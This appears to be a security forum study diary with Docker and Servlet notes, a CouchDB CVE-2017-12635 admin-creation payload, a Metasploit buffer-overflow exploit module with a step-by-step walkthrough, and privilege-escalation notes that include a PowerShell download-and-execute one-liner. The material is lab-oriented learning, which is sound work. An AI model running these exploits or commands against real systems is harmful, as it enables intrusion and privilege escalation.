安全矩阵

 找回密码
 立即注册
搜索
12
返回列表 发新帖
楼主: luozhenni

罗珍妮的学习日记

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-15 21:19:22 | 显示全部楼层
靶场练了一些但用的脚本和工具。
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-17 00:32:42 | 显示全部楼层
构建与环境无关的系统
Docker有三个特定的功能,以帮助建立与环境无关的系统:
只读文件系统
环境变量注入
存储卷

SQL_CID=$(docker create -e MYSQL_ROOT_PASSWORD=ch2demo mysql:5)

Docker start $SQL_CID

MAILER_CID=$(docker create dockerinaction/ch2_mailer)
Docker start $MAILER_CID

WP_CID=$(docker create --link $SQL_CID:mysql -p 80 \
  -v /run/lock/apache2/ -v /run/apache2/ \
--read-only wordpress:4)

Docker start $WP_CID

AGENT_CID=$(docker create --link $WP_CID:insideweb \
  --link $MAILER_CID:insidemailer \
  Dockerinaction/ch2_agent)

Docker start $AGENT_CID

环境变量注入:
环境变量是通过其执行上下文提供给程序的键对值,它可以让你改变一个程序的配置时,无须修改任何文件或更改用于启动该程序的命令。
UNIX命令env显示当前执行上下文(终端)中的所有环境变量。
Docker run --env MY_ENVIRONMENT_VAR=”this is a test” \
  Busybox:latest \
  Env
--env标志或-e缩写,可用于注入任何环境变量。如果变量已经有镜像或Docker设置,则该值将被覆盖,容器内部运行程序的方式,可以依赖于这种变量。
WordPress遵循以下环境变量:
WORDPRESS_DB_HOST
WORDPRESS_DB_UESR
WORDPRESS_DB_PASSWORD
WORDPRESS_DB_NAME
WORDPRESS_AUTH_KEY
WORDPRESS_SECURE_AUTH_KEY
WORDPRESS_LOGGED_IN_KEY
WORDPRESS_NONCE_KEY
WORDPRESS_AUTH_SALT
WORDPRESS_SECURE_AUTH_SALT
WORDPRESS_LOGGED_IN_SALT
WORDPRESS_NONCE_SALT
这个示例忽略了KEY和SALT变量,但实际的生产设置绝对应该设置这些值。
先解决数据库和word press容器在同一机器上运行的问题,不是使用链接来满足wordpress的数据库依赖,而是注入WORDPRESS_DB_HOST变量的值。
docker create --env WORDPRESS_DB_HOST=<my database hostname> wordpress :4
这里创建wordpress容器(不启动)该容器会试着连上一个MYSQL数据库。
由于远程数据库可能不会使用任何默认的用户名和密码,所以必须注入这些设置:
docker create \
--env WORDPRESS_DB_HOST=<my database hostname> \
--env WORDPRESS_DB_USER=site_admin \
--env WORDPRESS_DB_PASSWORD=MeowMix42 \
wordpress:44
问题:所有的网站都使用相同的默认数据库名称,需要为每一个独立的站点设置数据库名称以环境变量的方式注入:
docker create --link wpbd:mysql \
-e WORDPRESS_DB_NAME=client_a_wp wordpress:4
docker create --link wpdb:mysqp \
-e WORDPRESS_DB_NAME=client_b_wp wordpress:4
修改配置脚本:
设置机器只能运行一个容器:
DB_CID=$(docker run -d -e MYSQL_ROOT_PASSWORD=ch2demo mysql:5)
MALLER_CID=$(docker run -d dockerination/ch2_malier)
那么网站配置将是这样的:
if[! -n "$CLIENT_ID"];then
echo "Client ID not set"
exit 1
fi
WP_CID=$(docker create \
--link $DB_CID:mysql \
--name wp_$CLIENT_ID \
-P 80 \
-V /run/lock/apache2/-v/run/apache2/ \
-e WORDPRESS_DB_NAME=$CLIENT_ID \
--read-only wordpress:4)

docker start $WP_CID
AGENT_CID=$(docker create \
--name agent_$CLIENT_ID \
--link $WP_CID:insideweb \
--link $MAILER_CID:insidemailer \
dockerinaction/ch2_agent)

docker start $AGENT_CID
这个新脚本将为每一位客户启动wordpress实例和监视器,并将这些容器 以及一个单独的邮件程序和mysql数据库彼此链接。
wordpress容器在被销毁、重新启动、设计的同时,完全不用担心数据会丢失。但是不稳定。
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-19 00:14:44 | 显示全部楼层
代码审计学习
原文链接:https://mp.weixin.qq.com/s/bgFsBvEFrXOW47Frfo7WdA
Servlet
Servlet是java web容器运行的小程序,原则上可以通过任何客户端-服务端协议进行通信,常与http一起使用。
配置:
1、基于web.xml的配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"  
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"  
         version="2.5">

  <display-name>manage</display-name>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
    <welcome-file>index.jsp</welcome-file>
  </welcome-file-list>

  <servlet>
    <description></description>
    <display-name>user</display-name>
    <servlet-name>user</servlet-name>
    <servlet-class>com.sec.servlet.UserServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>user</servlet-name>
    <url-pattern>/user</url-pattern>
  </servlet-mapping>
  </web-app>
2、基于注解方式
Servlet3.0以上版本,只需添加@WebServlet注解即可修改Servlet属性
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
* 基于注解开发Servlet
*/
@WebServlet(urlPatterns = "/ann.do")
public class AnnotationServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter out = resp.getWriter();
        out.println("<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.0 Transitional//EN'>");
        out.println("<HTML>");
        out.println("<HEAD><TITLE> ITBZ </TITLE></HEAD>");
        out.println("<BODY>");
        out.println("Annotation Servlet!");
        out.println("</BODY>");
        out.println("</HTML>");
        out.flush();
        out.close();
    }
}
Servlet 的访问流程:
首先用户访问URL,找到文件名user,通过地址映射找到对应的Servlet。
用户在浏览器里输入URL,然后浏览器发起请求,服务器通过 servlet-mapping 标签找到文件名为 user 的 url-pattern,通过其对应的 servlet-name 寻找 servlet 标签中 servlet-name 相同的 servlet,再获取其 servlet 标签里的 servlet-class 参数,最后得到具体的 class 文件路径,从而执行相关文件。
Servlet 的接口方法
1、init() 接口
在docker中init或supervisor进程,用于启动和维护其他程序状态。
在 Servlet 实例化后,Servlet 容器会调用 init() 方法来初始化该对象,主要是为了让 Servlet 对象在处理客户请求前可以完成一些初始化的工作,例如建立数据库连接,获取配置信息等。
对于每一个 Servlet 实例,init() 方法只能被调用一次。
init() 方法的定义如下:
public void init() throws ServletException{ }
2、service() 接口
service() 方法是执行实际任务的主要方法,容器调用 service() 方法来处理来自客户端(的请求,并将格式化的响应写回客户端,每次服务器接收到一个 Servlet 请求时,服务器都会产生一个新的线程并调用服务。并且在 service() 方法被容器调用之前,必须确保 init() 方法正确完成。
定义如下:

public void service (ServletRequest request,ServletResponse response) throws ServletException,IOException{}
3、doGet() / doPost() 等接口
public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException{}
4、destroy() 接口
public void destroy(){}
5、getServletConfig() 接口
返回容器调用 init() 方法时传递给 Servlet 对象的 ServletConfig 对象
6、getServletInfo() 接口
返回一个 String 类型的字符串
———————————————————————————————————————
filter
原文链接:https://mp.weixin.qq.com/s/5ZJopsvdD7JAMmEvmezRbA
过滤器实际上就是对 Web 资源进行拦截,做一些处理后再交给下一个过滤器或 Servlet 处理
配置与上面类似。
filter 的流程:
用户向服务器发送请求->服务器->filter 1->......->filter n->service()方法->filter n->......
->filter 1->服务器->服务器返回结果给用户
三种接口:
init() 接口,doFilter() 接口,destroy() 接口
其中:doFilter() 接口定义如下:
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        /*过滤方法 主要是对request和response进行一些处理,然后交给下一个过滤器或Servlet处理*/  
        chain.doFilter(req, resp);//交给下一个过滤器或servlet处理
}
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-23 00:28:30 | 显示全部楼层
本帖最后由 luozhenni 于 2021-11-23 00:30 编辑

couchdb 权限绕过 (CVE-2017-12635)
描述: Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

抓包添加管理员信息:

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}
但是这个会出现403,需要修改一下(通过发送包含重复角色的请求来绕过限制。):
{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

成功了。
然后用添加的管理员用户名以及密码登录进去。

参考地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2022-3-13 23:10:11 | 显示全部楼层

渗透之——使用Metasploit实现对缓冲区栈的溢出攻击
原文链接:https://blog.csdn.net/l1028386804/article/details/86494568

下载工具

这里需要下载bof-server.exe和ImmunityDebugger

bof-server.exe 下载地址为:http://redstack.net/blog/category/How%20To.html

ImmunityDebugger下载地址为:http://www.immunityinc.com/products/debugger/

Immunity Debugger学习

开启bof-server.exe监听端口

这里,我们监听200端口,具体方法为:打开cmd命令行,切换到bof-server.exe所在的目录后执行如下命令:


生成字符序列

我们使用Metasploit中的pattern_create.rb脚本生成字符序列。首先我们查看以下pattern_create.rb脚本的帮助信息,在Kali命令行输入如下信息:


可以看到我们只要在pattern_create.rb脚本的后面加上"-l 字符序列长度"就可以生成指定长度的字符序列。这里,我们生成一个长度为1000的字符序列。

输入命令如下:


可以看到我们生成了一个1000的字符序列
将生成的字符序列发送到bof-server.exe监听的端口

接下来我们将这个字符序列发送到bof-server.exe监听的端口。

首先我们通过telnet连接上bof-server.exe。


查看bof-server.exe命令行

接着,我们查看bof-server.exe命令行状态,可以看到如下图所示




说明bof-server.exe程序发生了溢出。我们单击“请单击此处”查看详情,如下:


可以看到Offset的值为:72413372
6.找出准确字节数量

这里我们用到的工具是Metasploit下的pattern_offset.rb,首先我们先查看pattern_offset.rb脚本的帮助信息,输入如下命令:


可以看到-q参数为要查询的地址,-l参数为要查询的字符序列的长度。

根据第5步我们得出地址为:72413372,前面我们生成的字符序列的长度为1000

所以,我们输入如下命令来得出准确字节的数量


root@binghe:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 72413372 -l 1000
Exact match at offset 520
7.分析bof-server.exe运行时加载的DLL文件

这里,我们通过工具ImmunityDebugger工具来分析bof-server.exe运行时加载的DLL文件,可以到http://www.immunityinc.com/products/debugger/ 或者 https://download.csdn.net/download/l1028386804/10918212 下载。

具体操作如下:

打开ImmunityDebugger->File->Attach,来显示目标机上运行的所有进程。


打开之后,我们看到了目标机上的所有进程如下,同时,我们找到名称为bof-server.exe的进程,如下所示:


接下来,我们选中bof-server.exe进程,单击右下角的Attach按钮


此时,显示的是bof-server.exe的一些运行信息,如下:


接下来我们选择View->Executable modules,如下图:


点击后的效果如下图所示:

这里,就是bof-server.exe运行加载的所有DLL文件了。这里我们选择一个ws2_32.dll文件上传到Kali的/root目录下,通过Metasploit的msfbinscan查找JMP ESP指令的地址。
8.查找JMP ESP指令的地址

这里,我们用到的工具是Metasploit下的msfbinscan。首先我们要进入msf命令行,在Kali终端下输入如下命令:
  1. msfconsole
复制代码



查看msfbinscan的帮助信息,如下:

接下来我们输入如下命令来获取JMP ESP指令的地址:
msf > msfbinscan -j esp /root/ws2_32.dll
exec: msfbinscan -j esp /root/ws2_32.dll

[/root/ws2_32.dll]
0x71a22b53 push esp; ret
msf >
9.编写攻击脚本bof_server_attack.rb

接下来,我们就要编写攻击脚本bof_server_attack.rb了,这里不多说了,直接上代码:
##
# Author 冰河
# Date 2019-01-15
# Description 缓冲区溢出sof-server从而拿下目标服务器Meterpreter Shell
##

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
  super(update_info(info,
    'Name' => 'Stack Based Buffer Overflow Example',
    'Description' => %q{
      Stack Based Overflow Example Application Exploitation Module
    },
    'Platform' => 'WIndows',
    'Author' =>
      [
        'binghe'
      ],
      
     'Payload' =>
      {
        'space' => 1000,
        'BadChars' => "\x00\xff"
      },
     'Targets' =>
      [
        ['Windows XP SP3', {'Ret' => 0x71a22b53, 'Offset' => 520}]
      ],
     'DisclosureDate' => '2019-01-15'
  ))
  
  register_options(
  [
    Opt::RPORT(200)
  ],self.class)
  end
  
  def exploit
    connect
    buf = make_nops(target['Offset'])
    buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    sock.put(buf)
    handler
    disconnect
   end
End
要注意的是:
'Targets' =>
  [
    ['Windows XP SP3', {'Ret' => 0x71a22b53, 'Offset' => 520}]
  ],
中的Ret的值要和第8步中我们找到的JMP ESP指令的地址一致, Offset的值要和第6步中找出的准确字节数一致。
10.上传bof_server_attack.rb脚本

将bof_server_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/masteringmetasploit/目录下。
11.运行攻击脚本
msfconsole
use exploit/windows/masteringmetasploit/bof_server_attack
set payload windows/meterpreter/bind_tcp
show options
set RHOST 192.168.109.141
show options
Exploit
此时我们拿到了目标服务器的Meterpreter Shell,如下图所示:

此时,我们查看目标服务器的bof-server.exe终端,如下图所示:

12.可能出现的问题

有时我们运行exploit进行渗透拿Meterpreter Shell的时候,会出现不成功的情况,具体如下图:

此时,查看目标机的bof-server.exe命令行的缓冲区溢出并断开了监听。

此时,只需要在目标机上多运行几次bof-server.exe 200和在Kali上多运行几次exploit,直到成功拿到Meterpreter Shell。


回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2022-4-12 17:12:14 | 显示全部楼层
本帖最后由 luozhenni 于 2022-4-12 17:16 编辑

​提权笔记

提权思路:

Linux

先信息收集:

uname -a 显示全部系统信息

cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版

cat /etc/passwd 所有人都可看

ps aux | grep root

提权:

内核漏洞提权、SUID提权、nmap提权、find提权、sudo提权等

windows

前期准备,查看系统补丁

方法一:输入shell进入到该主机的shell下,然后:systeminfo 查看系统详细信息

方法二:进入到 meterpreter 下,执行 run post/windows/gather/enum_patches 可以直接查看补丁情况

方法三:post/multi/recon/local_exploit_suggester 模块,用于快速识别系统中可能被利用的漏洞

方法四:WMIC命令也可以查看补丁数量 wmic qfe get Caption,Description,HotFixID,InstalledOn 也可以直接找是否存在某个cve-2018-8120对应的KB4131188补丁 wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"

方法五:Windows Exploit Suggester 该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。 通过msf生成反弹exe进行反弹操作,获取meterpreter通道 监听获取成功后,进行exp的筛选 探测可提取的模块use post/multi/recon/local_exploit_suggester

然后明确漏洞编号及版本、明确漏洞利用平台及版本、确保cmd执行权限正常运行、确保服务器相关防护软件情况,最后利用漏洞进行提权。

数据库

数据库获取网站数据库的账号和密码

--通过读取一些数据库配置文件

数据库配置文件:命令规则(data、sql、inc、config、conn、database等)

--通过mysql数据库的user表

数据库安装文件:安装目录下data/mysql/user.myd

frm:描述表结构文件,字段长度

myi:索引信息

myd:数据库信息文件,存储数据信息

(1)mysql数据库——udf提权

(2)#数据库提权——mof提权

(3)#数据库提权——反弹端口提权

(4)#数据库提权——启动项提权

(5)linux系统-udf提权

利用xp_cmdshell提权

第三方软件

第三方软件提权,就是利用第三方软件存在的漏洞来进行获取一个权限的操作。

常用的提权扫描辅助工具

Windows/Linux下常用的提权扫描辅助工具

1、Windows-Exploit-Suggester解析systeminfo

下载地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

./windows-exploit-suggester.py

2、使用Linux-Exploit-Suggester.sh寻找linux提权问题

下载地址:https://github.com/mzet-/linux-exploit-suggester

./linux-exploit-suggester.sh

3、使用Sherlock工具

下载地址:https://github.com/rasta-mouse/Sherlock

Import-Module Sherlock.ps1 Find-AllVulns

4、使用MSF查询补丁和可利用提权漏洞

#查询补丁 meterpreter> run post/windows/gather/enum_patches  [+] KB2999226 installed on 11/25/2020 [+] KB976902 installed on 11/21/2010 #查询Exp msf> use post/multi/recon/local_exploit_suggester  msf> set LHOST <攻击机IP> msf> set SESSION <session_id> msf> run # 利用示例 msf> use exploit/windows/local/cve_2019_1458_wizardopium  msf> set SESSION <session_id> msf> run meterpreter> getuid Server username: NT AUTHORITY\SYSTEM

5、使用powerup检查提权漏洞

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" powershell.exe -nop -exec bypass -c "IEX (New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"

6、使用accesschk.exe对系统扫描发现高权限可执行程序,且能够被低权限用户更改

accesschk "d:\dir" 查看所有用户在d盘dir路径的子路径的权限 accesschk "Administrator "d:\dir" 查看Administrator用户在d盘dir路径的子路径的权限 accesschk Administrators -c * 查看Administrators组对所有服务的权限 accesschk -k Guest hklm\software 查看Guest用户对hklm\software注册表的权限 accesschk -ou User 查看User用户对全局对象的权限

7、查找主机上具有的CVE,查找具有公开EXP的CVE的Python脚本

下载地址:https://github.com/chroblert/WindowsVulnScan

.\KBCollect.ps1 python3 -m pip install requirements.txt cve-check.py -u 查看具有公开EXP的CVE cve-check.py -C -f KB.json

8、在线提权漏洞检测平台

极光无限出品的安全扫描仪,在提权方面,基于其强大的安全检测能力,能够给出专业的修复建议,有效验证和加固网络资产漏洞。

查询地址:

9、提权辅助网页

在Windows提权的时候,对比补丁找Exp很烦吧?这个网站数据源每周更新一次,值得推荐

查询地址:

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-1 00:30 , Processed in 0.022899 second(s), 16 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表